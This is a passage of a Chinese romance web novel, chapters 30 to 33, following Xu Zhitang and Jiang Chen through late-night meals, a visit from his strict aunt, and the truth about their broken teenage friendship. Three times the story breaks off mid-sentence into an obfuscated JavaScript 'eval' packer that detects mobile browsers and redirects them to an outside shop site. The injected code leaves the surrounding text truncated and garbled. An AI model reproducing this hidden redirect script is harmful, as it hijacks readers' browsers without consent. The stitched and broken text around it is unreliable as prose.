散伙之后她最后走。因为东江公园离擎海的办公楼很近,她想着再坐会儿,等到下班时间,或许能跟蒋谌一起吃个晚饭。 刚刚拍给他的照片还没有回,应该是还在忙。许知棠就没急着约饭,对着店里漂亮的布景独自放空了几分钟,听见手机叮的一声。 蒋谌回复她。 【你为什么没有蛋糕】 许知棠一怔,又看了眼桌上还未被收走的残席冷宴。才发现确实每个人都点了饮料和蛋糕,只有她没要。 她正好吐槽。用的什么好材料,敢把一小份切角蛋糕卖出一百三十八块钱。简直是天价。 【在云川最多最多也就卖三十八,还要被骂抢钱呢】 【转账138】 【什么好东西给我买一个尝尝】 【转账38】 【你自己回云川去吃】 “……” 她被气笑,按住语音键喊了一声,“你有没有人性啊!” 话音刚落,蒋谌的电话就打了过来。还没开口,她先听见航班播报,很有些意外,“你在机场?” “嗯,出差。”刚刚落地,才看到她的消息。“便宜你吃两份了。” “……那你什么时候回来?” “明天。” 许知棠撇撇嘴,对蛋糕已经失去兴趣。因为他没有提前说出差的事,心里不是很好受,“好吧,我今天晚上找方芷去睡好了。” “你别总骚扰人家。”蒋谌听她提过几回,想跟这位社恐的朋友玩但是约不出来。“就这点出息,自己一晚上都待不了?” “可是我跟你家还没有很熟,没磨合好呢。自己睡多害怕。”她边说边给方芷发消息,片刻后,哀叹一声,“她也出去跟公司团建了!怎么就剩我一个人啊。” “偌大的城市顿时空荡了起来,越是繁华就越是冷清,竟容不下这样一个孤独的灵魂。” “……” 蒋谌对孤独的灵魂说,“诗朗诵呢?害怕就开个电视剧陪你睡,实在不行再吃两块蛋糕压压惊。” “我明天上午就回,还有半天假。你明天也没有拍摄,正好下午去吃那个什么……什么东西。”这阵子不知道收到她多少美食种草视频的转发,记不太清。 许知棠倒是知道他说的什么,顿时精神起来,“好!就这么定了!” 她挑了一份巧克力慕斯打包带回家吃,第一口就被顺滑浓郁的口感惊艳。 【「流泪」「流泪」一百三十八真的好好吃「图片」】 【可恶!!我只好承认贵还是有贵的道理「图片」】 【就是太少了一块「流泪」才吃几口就没了「图片」】 三张图片分别是蛋糕完整版展示,正在被食用的蛋糕展示,以及吃完后空盒子展示。 看得出是真的很爱吃,也很爱给蛋糕拍遗照。 又高兴了。蒋谌想,天底下再找不着比她更好哄的。怎么会有人做不到? 【转账1380】 【吃十块】 ** 许知棠发现他真的很喜欢给别人打钱。 连她这样敢于收礼物,没什么心理负担的人都有点不好意思了。 不过想想还有两个多月,她还有很多机会请蒋谌吃饭,就又心安理得起来。 第一次独自在家,她闲得心慌,把里里外外全都打扫了一遍,衣服也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806737|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗好晾出来。 不知道从哪一天开始,她和蒋谌的外衣不再分开洗了,在洗衣机里纠缠成一大团。 她晾衣服时有些恍惚,仿佛还在云川,何松砚在医院值班的夜晚。她一个人在家,把他的衣服和自己的挂在一起,有时候还会让袖子牵手。 不过他后来说袖口会皱还晾不干,她就不再这样做了。 许知棠叹了口气,一巴掌拍在自己脸上,击碎沉湎旧日的妄念。 她怀疑自己是太久没有跟人温存过,所以才会对着蒋谌的衣服胡思乱想。于是回到房间,从衣柜的抽屉里翻出一只小收纳包。 里面是她带来的自嗨小玩具。 因为住在别人家里。只有一墙之隔,即使关起门来也能隐约听到动静。她又总会忍不住发出声音,怕被蒋谌听见了尴尬,还没拿出来用过。 微信消息的骚扰空白了两个小时。 蒋谌和客户吃完饭,发现没有来自她的新消息,略有些意外。 倒是有一条快递消息。来自南杞县的快递。 他看了眼时间,觉得还不算晚,就把机票改签,然后问许知棠在干什么。 许知棠回他在直播。 刚刚洗了澡,她还擦着头发,就已经把直播打开了。短暂快乐之后是巨大的空虚,她实在无法忍受一个人待着,哪怕能看看弹幕也好,权当是有人陪着。 蒋谌问完她也没说别的。许知棠就没放在心上,继续跟弹幕聊天。 还是有很多粉丝好奇她最近的感情状况。她陆陆续续地说得差不多了,分手,搬家,换了城市,开始新的生活。弹幕赞她有勇气,又向她取经,怎么才能像她一样,走出分手的阴影。 “还没走出来呢。”许知棠如实相告。“但我知道该怎么缓解,就是多做点感兴趣的事,多跟朋友一起玩。嗯……有条件的话,赶紧再谈一个,用新人代替旧人,据说是最有效的。” 最后这条是她听陶悦和其他朋友说过的经验。她过分追求一生一次的忠贞,只谈过何松砚一个人,连每次分手了想的都是要不要跟他复合,从没想过找个新的。 她总是想,如果连何松砚这么好的人她都谈不明白,换成别人岂不是更难。 更不要提还得从头认识,在漫长的相处中逐渐加深了解,再走一遍流程,想想都费劲。也就只有学生时代的她才有那份耐心了。 但她还是会说,“恋爱很好。大家都要多尝试,不要为了可能失败的结果就不敢开始喔,会错过很多独特感受的。” 可惜她马上就要变回小猫咪,无法再拥有第二次恋爱的感受了。只能捡着从前的回忆再嗦嗦味儿,分享一下心动时刻。 凌晨两点已过。蒋谌回到家,带着刚取的快递。 溪流缸里乍起一小团风波,鱼群被他开门的动静吵乱。客厅里开着灯,开着电视,还开着直播,许知棠窝在落地窗边的单人躺椅里,睡得香甜。 难为她播到自己都睡着,直播间里还有留守的观众,在发弹幕问主播是不是有人进到家里来了。 “知棠。”蒋谌声音放轻,唤了一句,没回应就不再叫她了。睡得这么熟,叫醒了也难受。 “不是进贼……咳。”他看到弹幕上滚动的话,虽然有点好笑,但也是担心她的安慰。 【是室友吧hhhhh】 【棠棠说他今天出差呢】 【我靠,主人哥回来了?】 蒋谌目光一顿,欲盖弥彰地清了清嗓子,“很晚了,大家早点休息。我帮她关直播。” 他拿起许知棠的手机,高清正脸照出现在直播间里,只一秒钟就变成了黑屏。 “……回来了?”许知棠扯住他的衣摆,呢喃的嗓音细得像小猫在叫。 蒋谌俯身去听,却毫无防备地被她勾住了脖子,柔软的身体立刻贴近,又香又热。 许知棠自然地依偎进他的怀抱,闭着眼睛等了一会儿。应该有很久,久到她快坚持不住又要睡着了,都没有下一步动作,才蹭着他的颈窝娇气地抱怨,“怎么还不抱我去床上呢。” “……” 下一秒身体腾空,许知棠下意识地收紧手臂,很喜欢被他有力的臂弯环绕,嗅着他身上好闻的气味,心才安定。贴着他的耳朵小声提意见,“能不能不要总是这么晚……不许再帮同事值班了。” 30. 第 30 章 ……值班? 听清她在嘀咕什么,蒋谌气不打一处来,真想把这没良心的东西扔下去算完。 得亏房间离得近,他两三下大步走到床边,阴沉着脸,刚要松手,忽地一愣。 她床上扔着一只造型可爱的粉色小海豚。 是晚上用过的小玩具,许知棠还没来得及收,冲洗过后随手往床上一丢。就这样大剌剌地出现在他眼前。 蒋谌没见过这种东西,但凭着成年人的直觉,大概也能猜到是做什么用的。 霎时间,怀里抱着的和眼前出现的,成了一大一小两个烫手山芋。 他面无表情地红了耳根,不愿意也腾不出手去拿那只小海豚,半跪在床上用膝盖顶开。 只是颠了一下,居然就把人弄醒。 埋在他颈间的脑袋似乎要抬。蒋谌莫名心慌,放手太快,砰地把人扔到了床上。 “……” 许知棠将醒未醒,震得脑壳发懵。恍惚间看见已经退到门口的人,更怀疑仍在梦中,“……蒋谌?” 不是说上午才能回吗? 她不清楚现在是几点钟,但天还未亮。 蒋谌说出差回来还有半天假,没必要飞红眼航班往家赶。她不理解,仰着一脸红晕和困意,懵懂地关心,“是有什么急事要处理?” “没事。”他强硬地转移话题,“开着直播睡觉,不怕说梦话让人听见?” “啊,我的直播!” 许知棠猛地惊醒,四下里摸索不着手机,下了床急急忙忙往外走,“你刚回来还是有一会儿了?我刚有说梦话吗?!” “没有。”蒋谌说,“已经替你关了。” 她在沙发椅上找到了自己的手机,大略翻了翻直播弹幕记录。还好。她的粉丝都很善良,围观她睡觉,直到蒋谌关播惊讶了一下。没出什么直播事故。 但想一想,仍有些迷惑地抓着后脑勺,“我不是在客厅直播么……怎么睡到床上去的。” 蒋谌已经恢复淡定,去餐桌边给自己倒了杯水,面不改色道,“不知道,梦游吧。” 梦游? 许知棠头顶缓缓浮出一个问号。 但她好像,确实是梦到了在云川家里,梦到自己被加班晚归的男朋友抱回房间。只是醒来就忘得差不多了,也不该仔细去想。 她打了个哈欠,利索地挥去脑海中残留的影,“可是你为什么提前回来啊。这么快工作都搞定了?就急着回家?” “嗯,懒得在那边等。”蒋谌指指桌子,“你有个快递到了。” “什么?”她伸头一看,是南杞县寄来的快递! “是我的耳环到了吗?” 许知棠顿感精神,可掂在手里又觉得重量不对。拆开来看才发现,是一大包糯米糍。被切分成一口一个的团子,每一个都裹满了黄豆粉,散发出朴实又醇厚的清香。 “前两天酒店前台问我要了地址。”蒋谌轻描淡写道,“说人家想感谢你拾金不昧,我就给她了。” 竟然是这样。许知棠感动地举着快递拍照留念,看起来和收到耳环一样开心。 她拍完了照,一边吃一边在屋子里转来转去,莫名其妙又在溪流缸前骚扰黑尾鱼群两分钟。再回到他身边,吧唧吧唧,故意吃得很响。把蒋谌烦得不行,自己哈哈大笑。 “照片发给我一张。” 蒋谌把她收到食物并且吃得很开心的自拍回复给前台。或许明天,这张照片就会被亲手制作食物的人看到。完成一串温情的循环。 “怎么样,现在是不是觉得没有白白跑回去一趟?”许知棠把糯米糍推给他,“起码还收到了零食呢。” “那这零食也太金贵了。” 话虽如此,蒋谌还是给面子地吃了一块。 “诶,我问你,”许知棠忽然想到,“人家问你要地址的时候,怎么没跟我说呢?” “忘了。” “真的是忘了?”她狡黠地眨眼,“不是为了给我个惊喜吗?” “……” 她对惊喜的直觉未免也太敏锐。 蒋谌淡定否认。就连今晚,难道要他说看到快递信息,心想她收到包裹一定会很高兴,所以谈完公事后改了机票半夜回家,就为了让她提前几个小时拿到快递? 太肉麻了这种事。 即便他能做得出来,说也是说不出口的。 “我现在一点也不困了,”她又问,“你饿不饿?” 一起吃了半个月的饭,蒋谌对她这个语气已经很熟悉,“我应该饿么?” 许知棠嘿嘿一笑,拉着他起来穿外套,“我们去吃海底捞!我晚上就吃了块蛋糕,现在都消化完了,吃火锅去吧吃火锅~” 半夜赶路,饿着肚子睡觉会更累。她得带蒋谌去吃点热气腾腾的,能让人缓过劲来的。心神从繁忙的高空降落下来,接点地气,才能睡得踏实。 海底捞离家不远,打车十来分钟就到。蒋谌第一次半夜三点多出来吃火锅,没想到店里人还不少。 甚至遇到隔壁桌过生日,还分了两块蛋糕。 “我在家就很喜欢这种氛围,可惜白天要上班没时间,晚上云川的店铺都会关门,除了酒吧都没地方可以玩。其实我也不太爱去酒吧玩,只是没别的地方可以去,又不想总待在家里。” 何松砚下了班很疲惫,她不敢再拉着他出去玩。朋友们都成双成对,玩得再热闹,也不好留在别人家当电灯泡。所以想来想去,她还是只能自己在家里待着。 “以后白天也能玩。”蒋谌说,“昨天去公园拍到桂花了吗?” “拍到了!那叫一个美女如云。还有好多女孩穿汉服拍照呢,我去跟她们合影了,还互关了。大城市里真是人均博主啊。” 许知棠并没有说的那么饿,涮好了大半都堆给他。现在熟了,夹菜都懒得用公筷了,他也没说什么。 她看着蒋谌吃饭,忽然突发奇想地问,“蒋谌,你是不是gay啊?” “……” 蒋谌被辣油呛得咳嗽。她又连忙递饮料,再拍点马屁挽回一下,“因为我觉得你很有同理心啊,就连我忽然出现,这么搞七搞八地乱来都对我耐心又慷慨,态度很好。嗯……你穿的衣服也好看,鞋子还干净。” “最重要的是你讲话也很正常,没有我们单位里的男人那种讨厌的自以为是的恶臭味。天知道,我来之前好害怕你长大也会变成那样。” 毕竟是刚生下来,连随地小便都被夸尿得远的生物。她见过很多哪怕一事无成,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许知棠啧啧感叹,没有尴尬全是回味,炫耀战绩,“还是带蕾丝和绣花的呢,那小老外眼睛都要看直了吧。对了,你本命年的时候我也可以送你啊,不要内衣的话,袜子也可以喔。” 蒋谌只能庆幸自己下一次本命年离得还远。 即使在朋友面前,他也并不算很健谈的人。但每一次跟许知棠出来吃饭,不喝酒不聊公事,居然也能闲扯两个小时。 漫不经心的。聊完自己也不记得说了些什么。 这对他来说很稀奇。他记忆力比常人要好上许多,虽然还不到超忆症那种病态的程度,但是和每个人,每件事接触都会记得太清楚,脑海中不受控制地反复回放。确实给他带来过一些精神困扰。 和许知棠在一起却不会。他记住的不再是每一句话每一帧画面的事实细节,而是感受。 无与伦比的感受。 他记得二十年前的过家家。许知棠喜欢当妈妈,但不让他当爸,非得把他裹在被子里当小孩,抱着他的头轻轻拍,一边学着大人的样子摇晃身体,一边给他唱难听的流行歌。 他曾经在那种非常嫌弃的情景里,安安稳稳地睡着过。 所以一度产生某种错觉—— 或许就是她了。 31. 第 31 章 蒋谌并不觉得自己对许知棠的态度很好。 他甚至都没对许知棠说过几句好话,心里和嘴上都没少吐槽发脾气。只是因为好奇,也因为尚有余力,才会想亲眼看一看,她究竟会怎么完成这场从人到猫的幻想。 是她只记着好的部分而已。 她身上有着尽可以照亮一切的博爱和宽容,让她很容易原谅别人的过错。 是她本身很好。所以,无论是谁被她抱在怀里,温柔地哄,都会被她晃睡着。 而他早已经不是一个需要人哄的小孩。 “这旁边的公园里有座小山,正好我们吃完可以去爬一下。”许知棠划着手机里的附近攻略,“今天真的可以看到日出了,是大晴天呢。” 公园里的小山丘只需半小时就能登顶。灯光寥落,树影婆娑,环山道和休息椅上没有别的人影。工作日,很少有人会如此兴致所至。 夜色尚且朦胧。她挑了个方便欣赏日出的椅子,喊蒋谌过来坐下,挨着他坐说这样暖和。 余光里两人的手臂紧密相贴,蒋谌心底里生出某种难以辩驳的无力感。 即便他澄清了自己的性取向,但许知棠仍然拿他当闺蜜处,是板上钉钉的事实。 “诶!小说更新了。”许知棠迫不及待地点进帖子,在他眼前举起手机,“一起看。” 抛开童话风格的笔触和可爱的人物内心活动,更新的内容跟两人去南杞县旅行的经历大体是一致的。 她啧啧感叹,“实在是太神奇了。” “也可能是作者正好刷到你发的视频,拿来当灵感借鉴。”蒋谌合理推测。 “Nonono,”她坚信,“这一定是属于我们的量子纠缠!” “……” 蒋谌不作声,也不转头去看。可仍能感觉到她亮晶晶的眼睛,在黎明前闪烁着简单的快乐。 她肆无忌惮地靠近,好像有多亲密。却更让人确定,无论是过去还是现在,许知棠从未喜欢过他。 或许连一瞬间都没有过。 ……连一瞬间都没有过吗? 所以才能这样自然地挽他的手,靠他的肩,被日出映亮的脸庞上只有纯粹的感动,心无旁骛地欣赏太阳到点上班,“好浪漫。” 远处的光逐渐漫成一片,将云层烧成金红。是很美,但蒋谌还是有些不满意。又说不清究竟是哪里不满,连累这样美丽的日出都被苛责。 “怎么办,看到这么有希望的画面忽然好想祝你新年快乐。但是新年还没到呢。” 许知棠笑嘻嘻地对他说,“就祝你新天快乐好了。别忘记今天还要陪我去打卡的喔。” 加速搏动的心跳被置之不理。蒋谌早已弃医从法,一派不为所动,“你先起得来再说。” “我肯定起得来!今天才刚刚开始呢。”她信心满满地安排,已然在打哈欠,“回去补个觉,睡醒正好去吃下午茶。” 如果下午茶赶不上,晚餐也可以。反正有一整天的休息时间。 上半年她有很多空闲时间,却都焦虑得无法安心享受。不像现在,出门吃喝有人陪,拍照技术也很ok,哪怕是忙里偷闲,也能大大回血,比一个人闷在家里强八百倍。 许知棠悠哉地想着,回家的路上还给拍到的日出照片修了图。洗漱完准备睡觉,才发现自己枕头边的小海豚。 她居然忘记收起来! 半夜醒来只顾着担心直播了,她僵硬地回忆,蒋谌到家以后有没有进她房间……有没有看到啊。 这小玩意造型可爱不算露骨,大略扫一眼过去,其实不太引人注意。 或者看到了……没细想它是干什么用的? 应该不会细想的吧。 许知棠试图乐观,列出了诸多保住颜面的可能性,仍旧本能地感到尴尬。 不过因为回来太晚,本就很困,她还没尴尬几分钟,挨着枕头就睡了过去。 ** 蒋谌的生物钟已经被驯化成型,只要不是周末,就没法儿心安理得地一觉睡到大中午。 这天他也只睡了三个小时。虽然出差回来又熬了个通宵,但睡醒并不怎么疲倦,趁着家里还清净,能先把卫生搞一遍。 许知棠自己在家里也会积极打扫卫生。但蒋谌嫌她美甲太长开个洗地机都费劲,弄不干净。把她气得逆鳞疯长,不仅自己撂挑子不干了,还会在他搞卫生的时候整点幺蛾子来捣乱。 现在她还正熟睡。蒋谌把她卧室的门关上,快速地清洁家里各个角落,没人骚扰,干起活来利落迅速。 整个家的面积加起来也没多大。他很快就做完了家务,许知棠还没个动静,闲下来反而有点不适应。 很诡异。 他到底是要是适应什么。 闲坐了一会儿,蒋谌回到自己房间,打开上次陪她回云川老家时随身带的背包。从夹层里,摸索出那条锈迹斑驳的珍珠项链。 本来没打算要带过来的。 但既然来都来了。他拿着项链进了厨房,起锅烧水,又从冰箱里拿了罐可乐出来。可乐倒进另外的水杯,剩下铝罐拿厨房剪刀剪碎。 铝,食盐和热水可以形成原电池,把氧化发黑的硫化物还原成银。等水沸腾关火,他把铝片放进去,又撒了把盐,最后再小心地放入项链。 做这一切时,他远比做家务更全神贯注,余光还要时刻注意着许知棠房间的动静。 他自己也想不通,为什么在自己家里还要这样鬼鬼祟祟。 从上次在南杞县小店里,她挑首饰的偏好来看,许知棠现在还是喜欢珍珠的。 买都买了。他想,秉承着不浪费的原则,还是给她比较划算。管它是不是晚了十年。 或者干脆趁她不在,随便丢进她的抽屉,首饰盒或是包里? 她平常就喜欢收集漂亮的小物件,自己也不见得能记全都有哪些。没准要再过很久才会发现,还以为是自己在哪里随手买的呢。 然而上天总是故意考验。一声突兀的门铃把他惊醒,蒋谌来不及捞出项链,下意识地抄起盖子,把锅盖上了。 然后才反应过来。这是门铃,是外面有客人,不是家里的魔丸要苏醒。 蒋谌定了神,只当是她有快递送到,不慌不忙地走过去,打开门。刹那间四目相对,被风尘仆仆的蒋女士打了个措手不及。 蒋书敏妆容精致端庄,短发一丝不苟地别在耳后,审视的目光从他脸上掠过,“睡到现在?看来今天不用上班。” “……嗯,出差刚回来。”蒋谌没想过她会大驾光临,只能垂眼侧身,请人进门。 自从他在海市安家,这也是蒋书敏第一次来。鞋柜里许知棠非让多买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蒋谌:“……” 他估摸许知棠是该睡醒了。这时节出来碰面是有点尴尬,但也没想到她会怂成这样。 【出来尿】 总不能把孩子憋出个好歹来。 【?!!】 蒋谌直接起身,走到客卧,敲了敲紧闭的门,“别憋了,出来吧。” 门内门外都被他惊呆。许知棠无可躲避,只好硬着头皮开条门缝,迎上沙发那端诧异的眼神,尬笑,“姑,姑姑好。哈哈,那个,我先去一下洗手间,你们继续聊。” “……” 蒋书敏看清她的脸,一口气提上来,心里堵得说不出话。 其实家里有很多细节,能够昭示这里不止一个人在生活。可蒋谌刚整理过,乱踢的鞋子被收进了鞋柜,女士衣物尚在烘干机,可爱的陶瓷马克杯也在杯架上挂好。 只有通往厨房的玻璃门上,还有两个人用马克笔留言的字迹。 抛开这一切不谈。蒋书敏难以置信,“是她?你到底还是跟许知棠好上了?” “她只是暂时住我这里。” 蒋谌不懂她为什么会这样大惊失色。许知棠在哪,从来就跟她没有任何关系。 “我就知道,”蒋书敏冷笑,“你是为了她放弃留学,为了她改的专业!现在是不是要说连房子也是为了她买的?你可真有本事啊,蒋谌,这么多年都能耐得住性子,瞒得可真好!” 32. 第 32 章 许知棠闪身进了洗手间,打开花洒。水声可以替她掩去几分尴尬,也挡住了门外模糊不清的谈话声。 “跟她没关系。”蒋谌皱眉,“是我自己的决定,跟任何人都无关。” 蒋书敏很早就见过许知棠,也一直都不喜欢这样的女孩子,叽叽喳喳没个正形。 以往每逢过年,回云川走亲戚总能看见她。天都黑了还要来敲窗户,冒失地叫蒋谌出去玩。 蒋谌离开云川以后,手机上常联系的朋友不多,女孩子就只有这一个。 普通联系也就算了,许知棠总是撺掇他回老家,让他把心往穷乡僻壤里牵。浪费学习时间去做兼职,只为了给她买礼物。不是自毁前程是什么? 蒋书敏最无法忍受这一点。 蒋谌既然跟了她生活,就绝对要优秀,要出人头地,绝对不能走他那个爸的老路。 舍弃大好前程,为了一个女人,在小地方小医院里庸碌窝囊地过了半生,最后连性命都断送。 她一直笃信,如果不是因为留在云川,即便同样是上前线,弟弟也不会就这样牺牲。 幸好今天是在海市,她尚还且能控制情绪说话。如果是在云川,让她撞见蒋谌跟许知棠在一起,亲眼目睹历史重演的怒火势必已彻底把她点燃。 “她现在跟着你生活?”蒋书敏虽有不悦,但到底还是克制了,“从什么时候开始的?” “她不是跟着我生活。”蒋谌语气有些冷淡,“她刚来这里工作。我把次卧租给她,减轻还款压力。” “……你们没在一起?” 蒋书敏一愣,望向哗啦啦响个不停的洗手间。 里面的人为了不出来面对严苛场面,上完厕所索性又洗了个澡,拖延时间。 “时间不早了。”蒋谌没回答她,拿起手机,“您要留下吃午饭吗?我先订个桌。” 蒋书敏摆手,“不用了,我还有安排。”是想留人还是赶人,意思她怎么会听不出来。 她现在也觉得自己刚才的反应太过了。曾经对蒋谌的管束她问心无愧,但到如今,已经到了她想管都无力再干涉的时候。 蒋谌近年来无论做什么决定都不跟家里商量,只是单方面地通知。她总觉得,这是在反抗当初被她管得太严。 虽然他自己嘴上不说,工作后每年都会给家里包大红包,还会回云川看望老人,在亲戚们口中都是个孝顺有出息的孩子。但她知道,蒋谌早跟她离心了。 或许就是从许知棠的事情开始的。 住在一起还是很容易发展出感情的。即便她仍对蒋谌的眼光持保留意见,也只是旁敲侧击地说,“以前的事算你年纪还小,难免叛逆,过去就过去了。但你现在的一切是自己努力得来的,要知道珍惜。明白吗?” 蒋谌:“我知道。” 他心思就不在这儿,自然听不进什么道理。蒋书敏心情复杂,也懒得再说,正要走进电梯,却忽然又被叫住。 “您……”蒋谌斟酌道,“有对她说过什么话吗?以前。” “说过又有什么用?”她站在电梯里,带着无奈和不以为然,“长辈的劝诫,你们一个两个全都听不进去。” ** 在蒋谌印象里,自己的父母并没有多么如胶似漆。真要比起来,还没隔壁许知棠家那对成天吵架,鸡飞狗跳的父母来得恩爱。 所以,比较有可能的解释是,他的父母年轻时顶着压力,突破了层层阻隔修成正果,却没能阻止爱意在日复一日,柴米油盐的日常中消磨。 他几乎没有听到过父母争吵。过去许知棠总说,羡慕他家里的大人性格好温柔,说话客客气气的,比她家动不动就要吵起来的爸爸妈妈冷静多了。 蒋谌觉得那是一种心灰意冷。 热烈的爱意过早地燃烧殆尽,只剩下礼貌客气的灰,掩盖一层太平无事的伪装。 长辈走后他看起来情绪很低沉。许知棠洗完澡裹着浴巾探头观察,确认安全后回自己房间,换衣服吹头发护肤,忙完一套小连招出来,他还坐在沙发里,位置都没挪一下。 估计是被教育了吧,她心里暗暗地想。 她们这代的孩子有一点惨痛的共识,就是任凭在外面混得再好,只要家长出现,总能被找到角度教育一番。 她很能理解蒋谌,因为她也很害怕蒋书敏。从小过年,只要看见这个姑姑到蒋谌家走亲戚,她都不太敢去找他玩。 蒋书敏是高中老师,还是她最怕的那种严厉到不近人情的教导主任,一开口说话,那个威压简直扑面而来。都不用超过三句,她犯点什么错全得招了。 即使蒋谌优秀得让人很放心,当初他离开云川跟这位姑姑一起生活,许知棠还是替他捏把汗的。 许知棠知道,姑姑对他的要求很严格。不仅是成绩,衣食住行每一项都亲自把控,拿他当未来精英培养。 蒋谌高考前每天玩手机不能超过半小时,手机平时都要上交保管。有段时间许知棠觉得联系他像卧底发电报,只有特定时间才能收到回音。 这样的生活怎么会开心呢。 蒋谌反倒安慰她说,等高考结束就好了。 高考那年蒋谌考了全省第三,足够敲锣打鼓摆宴席的好成绩。蒋书敏却依旧不满意,因为原本的预期是他应该拿到状元。就觉得没有什么可庆祝的,连招生办老师上门都没多少笑脸。 彼时许知棠爸爸对女儿的要求是能上本科就行,听到这种事情简直是天方夜谭,就叫女儿邀他等报完志愿,来家里吃个庆功饭。 许知棠积极传讯。 蒋谌很迟才回复,好。 他到云川先回老家报喜,最后一站才到许知棠家。许知棠和爸爸一起做了大盆鲜鱼汤,还有一桌好菜。 她本来攒了半年零花钱,想给蒋谌买个礼物,祝贺他考上大学。但上学路上遇到的小土狗腿受伤太可怜了,她一下子把钱全花完,还问爸爸又要了些,不好意思再要。 想来想去,她就亲手做了只蓝莓小蛋糕,用蓝莓果酱在上面挤出他的名字,芒果果酱画了顶小皇冠。她想着到时候得提醒蒋谌,皇冠这块儿是为了好看不能吃,但一见到人,就吓了一跳。 他瘦了许多,明明考出一个好成绩,却比以往更沉默寡言。 他还不到十五岁,即使不是风头最劲的状元,也有媒体想采访他。记者不知怎么跟到她家来,不厌其烦地敲门,惹得邻居也来看热闹。 蒋谌非常抱歉,略坐了会儿,喝了小半碗鱼汤就对他们说要走了,回去还有很多事要做。 原来,他的大学时间又已经被规划好了。 许知棠父女俩面面相觑,只好让他离开。 明明连给他睡觉的房间都提前收拾出来了,却连顿饭都不能好好吃完。 许知棠很失落,找了一只饭盒想把蛋糕打包,给他带走。因为太贪心,没办法全装进去又非要塞,最后怎么都关不上盖子,委屈得眼泪一连串掉进奶油里。 蒋谌坐在她旁边,拌着眼泪把装不进去的蛋糕吃了,对她说,“没事的。等你考上大学,我们未来在京市见吧。” 高考何等惨烈,连蒋 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“没什么呀。你渴不渴,饿不饿?我带你去吃午饭吧。”她殷勤地关怀,“本来以为你要跟姑姑出去吃呢,她怎么这么快就走了?那我们出去吃吧,正好可以去……” “先坐下,我有事问你。” “哦哦。” 许知棠打定主意要当知心小咪,洗耳恭听,“什么事?” “你为什么这么怕她。”蒋谌问,“她以前骂过你?” 怂归怂,他看许知棠今天的反应,总觉得哪里不对。 蒋书敏怀疑过他跟许知棠早恋,又是那样什么都要管的性格,或许私下里也跟她有过对话。 “也……不算吧。”许知棠含糊其辞道,“就是那些啊,让我别总跟你聊天,会耽误你学习什么的。” “没有别的了?”蒋谌一听就没说实话,“比如让你直接跟我绝交,正好你在谈恋爱,就拿这个当了借口是么。” “嗯……其实,”她有点为难,想都隔了这么多年,索性直接道,“我那时候没有在谈恋爱,纯粹是借口来着。” “……” 蒋谌:“你骗我?” “我也没想到你那么容易就相信了……”她说,“反正,反正就只是个借口。” “那时候你要出国留学,还总是给我收集资料,辅导我功课。可能姑姑觉得太耽误你时间吧。再加上我老是想找你玩……就说了我几句,让我别再找你了之类的。” 她承认得很迅速。蒋谌心里刚有些怀疑,立刻就变成了现实,一时间不知道该不该生气,反而笑了出来,“许知棠,你是我的朋友。为什么那么听她的话?” “因为你也要听她的话啊。”许知棠说。 那些话她也不是第一回听。 许知棠去找朋友,说是一起逛街,喝奶茶,看电影,都很正常。但哪天她要是说,找朋友一起写去作业,没有大人会信的。谁让她一直就是个不务正业的坏学生。 更何况,就算确实有些比较难听的话是她厚脸皮也顶不住的,她也没法儿跟蒋谌开口。因为他不是跟爸妈住在一起,是跟别的亲戚。 看过《红楼梦》就知道,寄人篱下的生活没有好过的。他没有父母做靠山,本来就很可怜,万一再跟亲戚起了冲突,更不好过了怎么办。 蒋谌为她说话,会伤大人的心。 蒋谌不为她说话,她也会伤心。 33. 第 33 章 “我那时候想,就算先绝交一阵子也没什么的吧,确实学习比较重要。等到你成功拿到offer以后再加回来不就好了,大不了等你留完学回来再加嘛!算算也没有几年啊。” 她说着说着感觉有点奇怪,好像是什么苦命的异地恋,“谁知道你说绝交就绝交,真的一点消息都没有了。我也很难过的好不好。” 说绝交就绝交的人难道不是她么? 蒋谌不知道她很难过的点在哪里。 她身边朋友那么多,想跟谁玩跟谁玩,想见面立刻就能约到。所以犯不着为了一个距离那么远,一年到头见不上几回的朋友挨骂,所以被家长一训,就想方设法地跟他撇清关系。 是她先放弃了两人的关系,还怪他没有自己跑回来。 “这么说还是我对不住你了?” “唉,我也不是这个意思。”她总是很快低头,有时显得诚意不太够,需要一些实际行动来佐证,“好啦,是我对不住你。请你吃饭好不好?走走走。” 为了谈恋爱跟他绝交,和为了绝交而骗他要谈恋爱,不知道哪个罪名更重一点。 许知棠觉得他有点小气,有点记仇。但好在她是个大度的人……不,是大度的咪。 咪怎么会跟人一般计较呢。 她转发过来的探店种草链接五花八门,蒋谌保存时基本没认真看过,反正他吃什么都一样。 许知棠带上他,主要起到一个打扫餐盘的作用。毕竟一个人能点的菜太少了,两人份就正好能摆满小餐桌,吃不完又很浪费。 到店入座。要等菜上齐,她拍完满意的照片,才发话,“吃吧。” 蒋谌早就觉得诡异,这开饭口令好像在哪听到过。但是他今天情绪不高,没多想,只吃饭,不抬头也不作声。 许知棠向来对正餐没多大兴趣,更喜欢品尝甜品和饮料。今天的特调里加了蝶豆花,蓝幽幽的,她吸了两口,用吸管戳着冰块,猜蒋谌的那杯是什么味道,会不会也像她的一样难喝。 在她的注视中,蒋谌一口吸掉半杯,皱了下眉。 看来是一样难喝。 许知棠莫名感到快乐,欠欠的。 